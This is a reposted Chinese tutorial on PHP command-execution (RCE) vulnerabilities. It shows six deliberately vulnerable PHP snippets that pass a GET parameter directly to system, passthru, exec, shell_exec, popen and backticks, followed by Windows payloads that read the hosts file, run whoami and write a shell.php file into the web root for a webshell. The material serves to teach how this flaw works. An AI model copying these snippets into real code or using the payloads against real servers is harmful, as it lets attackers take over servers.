RCE = 命令执行+代码执行
漏洞的产生原因
代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数 ,并且这个函数的运行参数是可控的
系统的漏洞造成命令注入
漏洞的本质
应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数 时,就有可能导致用户提交恶意代码被服务器执行 ,从而造成命令执行漏洞。
涉及到的函数
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
system($_GET['cmd']);
}
?>
// 提交的URL:[?cmd= ipconfig]
<meta charset="gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
passthru($_GET['cmd']);
}
// 提交的URL:[?cmd= ipconfig]
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
print exec($_GET['cmd']);
}
?>
// 提交的URL:[?cmd=ipconfig]
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
echo "<pre>";
print shell_exec($_GET['cmd']);
}
?>
// 提交的URL:[?cmd=ipconfig]
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
$cmd=$_GET['cmd'].">> 1.txt";
popen($cmd,'r');
}
?>
// 提交的URL:[?cmd=whoami]
<meta charset = "gb2312">
<?php
if(isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
// 提交的URL:[?cmd=whoami]
OS 命令注入漏洞,攻击者直接继承 WEB 用户权限,在服务器上执行任意命令 ,危害特别大。以下命令均在 windows 系统下测试成功
payload:[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统 hosts 文件
payload:[?cmd=cd ]
payload:[?cmd=whoami ]
payload:[?cmd=echo "" > C:\phpStudy\WWW\Command\shell.php]
页面没有报错,说明文件写入成功。访问 shell.php 文件,同理我们可以写入一个一句话木马。
版权说明 : 本文为转载文章, 版权归原作者所有 版权申明
原文链接 : https://www.cnblogs.com/wuhongbin/p/15583049.html
内容来源于网络,如有侵权,请联系作者删除!